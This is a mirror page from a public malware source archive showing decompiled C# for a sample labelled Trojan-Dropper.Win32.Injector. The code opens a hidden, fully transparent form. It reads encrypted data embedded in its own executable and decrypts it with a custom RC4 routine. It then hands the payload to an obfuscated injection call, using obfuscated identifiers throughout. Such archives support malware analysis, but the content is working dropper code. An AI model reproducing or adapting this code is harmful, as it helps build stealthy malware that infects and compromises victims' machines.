mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
f2ac1ece55
add
146 lines
5.5 KiB
C#
146 lines
5.5 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: YDEHbxsysxbgxdv.Form1
|
|
// Assembly: lalalalalallalalalala5.0, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 2E908D04-A26F-44E4-B264-050F7046223E
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.Win32.Injector.byvr-3123f0068ffb523853cd675a624dd1ad16283eeba21e5e0f64cb53ce90ce5ce3.exe
|
|
|
|
using Microsoft.VisualBasic;
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using System;
|
|
using System.ComponentModel;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Text;
|
|
using System.Threading;
|
|
using System.Windows.Forms;
|
|
|
|
namespace YDEHbxsysxbgxdv
|
|
{
|
|
[DesignerGenerated]
|
|
public class Form1 : Form
|
|
{
|
|
private IContainer components;
|
|
[AccessedThroughProperty("PictureBox1")]
|
|
private PictureBox _PictureBox1;
|
|
private const string ga66ZLragr21s = "|x|";
|
|
private string twxfewakuvxgwkfeuvbgfeuwqeUC7xhU80NGXRZ85l49oNM3ESf85Wo07;
|
|
private byte[] RyyrzragrrrrAue6fga66Gurk56PI5k5pQHwy34gYaK893FO6zadZ9;
|
|
private string[] Vasbf7ka2UsJSuoWtMZL21Puo3cK9XA8710LQWulwL07;
|
|
private byte[] SvyrNfOlgrOMotKg5Mb9W4gvx9DRZcdk22;
|
|
|
|
public Form1()
|
|
{
|
|
this.Load += new EventHandler(this.Form1_Load);
|
|
this.InitializeComponent();
|
|
}
|
|
|
|
[DebuggerNonUserCode]
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
try
|
|
{
|
|
if (!disposing || this.components == null)
|
|
return;
|
|
this.components.Dispose();
|
|
}
|
|
finally
|
|
{
|
|
base.Dispose(disposing);
|
|
}
|
|
}
|
|
|
|
[DebuggerStepThrough]
|
|
private void InitializeComponent()
|
|
{
|
|
this.PictureBox1 = new PictureBox();
|
|
((ISupportInitialize) this.PictureBox1).BeginInit();
|
|
this.SuspendLayout();
|
|
this.PictureBox1.Location = new Point(0, 0);
|
|
this.PictureBox1.Name = "PictureBox1";
|
|
PictureBox pictureBox1 = this.PictureBox1;
|
|
Size size1 = new Size(100, 50);
|
|
Size size2 = size1;
|
|
pictureBox1.Size = size2;
|
|
this.PictureBox1.TabIndex = 0;
|
|
this.PictureBox1.TabStop = false;
|
|
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
|
this.AutoScaleMode = AutoScaleMode.Font;
|
|
size1 = new Size(121, 65);
|
|
this.ClientSize = size1;
|
|
this.Controls.Add((Control) this.PictureBox1);
|
|
this.FormBorderStyle = FormBorderStyle.None;
|
|
this.Name = nameof (Form1);
|
|
this.Opacity = 0.0;
|
|
this.ShowIcon = false;
|
|
this.ShowInTaskbar = false;
|
|
((ISupportInitialize) this.PictureBox1).EndInit();
|
|
this.ResumeLayout(false);
|
|
}
|
|
|
|
internal virtual PictureBox PictureBox1
|
|
{
|
|
get => this._PictureBox1;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox1 = value;
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
|
|
private void Form1_Load(object sender, EventArgs e)
|
|
{
|
|
this.SvyrNfOlgrOMotKg5Mb9W4gvx9DRZcdk22 = ResourceReader.ReadResource(Application.ExecutablePath);
|
|
this.Vasbf7ka2UsJSuoWtMZL21Puo3cK9XA8710LQWulwL07 = Strings.Split(Encoding.Default.GetString(this.SvyrNfOlgrOMotKg5Mb9W4gvx9DRZcdk22), "|x|");
|
|
this.twxfewakuvxgwkfeuvbgfeuwqeUC7xhU80NGXRZ85l49oNM3ESf85Wo07 = Form1.XYhzTRyxjtrfYgtYedgtrfysvgdefred(this.Vasbf7ka2UsJSuoWtMZL21Puo3cK9XA8710LQWulwL07[1], this.Vasbf7ka2UsJSuoWtMZL21Puo3cK9XA8710LQWulwL07[2]);
|
|
this.RyyrzragrrrrAue6fga66Gurk56PI5k5pQHwy34gYaK893FO6zadZ9 = Encoding.Default.GetBytes(this.twxfewakuvxgwkfeuvbgfeuwqeUC7xhU80NGXRZ85l49oNM3ESf85Wo07);
|
|
zvkFvmzKtsgStQcqYpbfGtrlEBXsSXTfixTUdniMbuOhc.dmybuaxQpQbVnXtdntpCThpqzXSvxekEMChcdbgRYfvWW(this.RyyrzragrrrrAue6fga66Gurk56PI5k5pQHwy34gYaK893FO6zadZ9);
|
|
ProjectData.EndApp();
|
|
}
|
|
|
|
public static string XYhzTRyxjtrfYgtYedgtrfysvgdefred(
|
|
string FGCtNHdxcxsdfgvb,
|
|
string SREDgtsrdgtsdxgfvsxrdvgf)
|
|
{
|
|
int index1 = 0;
|
|
int index2 = 0;
|
|
StringBuilder stringBuilder = new StringBuilder();
|
|
string empty = string.Empty;
|
|
int[] numArray1 = new int[257];
|
|
int[] numArray2 = new int[257];
|
|
int length = SREDgtsrdgtsdxgfvsxrdvgf.Length;
|
|
int location1 = 0;
|
|
while (location1 <= (int) byte.MaxValue)
|
|
{
|
|
char String = SREDgtsrdgtsdxgfvsxrdvgf.Substring(location1 % length, 1).ToCharArray()[0];
|
|
numArray2[location1] = Strings.Asc(String);
|
|
numArray1[location1] = location1;
|
|
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
|
|
}
|
|
int index3 = 0;
|
|
int location2 = 0;
|
|
while (location2 <= (int) byte.MaxValue)
|
|
{
|
|
index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256;
|
|
int num = numArray1[location2];
|
|
numArray1[location2] = numArray1[index3];
|
|
numArray1[index3] = num;
|
|
Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1));
|
|
}
|
|
location1 = 1;
|
|
while (location1 <= FGCtNHdxcxsdfgvb.Length)
|
|
{
|
|
index1 = checked (index1 + 1) % 256;
|
|
index2 = checked (index2 + numArray1[index1]) % 256;
|
|
int num1 = numArray1[index1];
|
|
numArray1[index1] = numArray1[index2];
|
|
numArray1[index2] = num1;
|
|
int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
|
|
int CharCode = Strings.Asc(FGCtNHdxcxsdfgvb.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2;
|
|
stringBuilder.Append(Strings.Chr(CharCode));
|
|
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
|
|
}
|
|
string str = stringBuilder.ToString();
|
|
stringBuilder.Length = 0;
|
|
return str;
|
|
}
|
|
}
|
|
}
|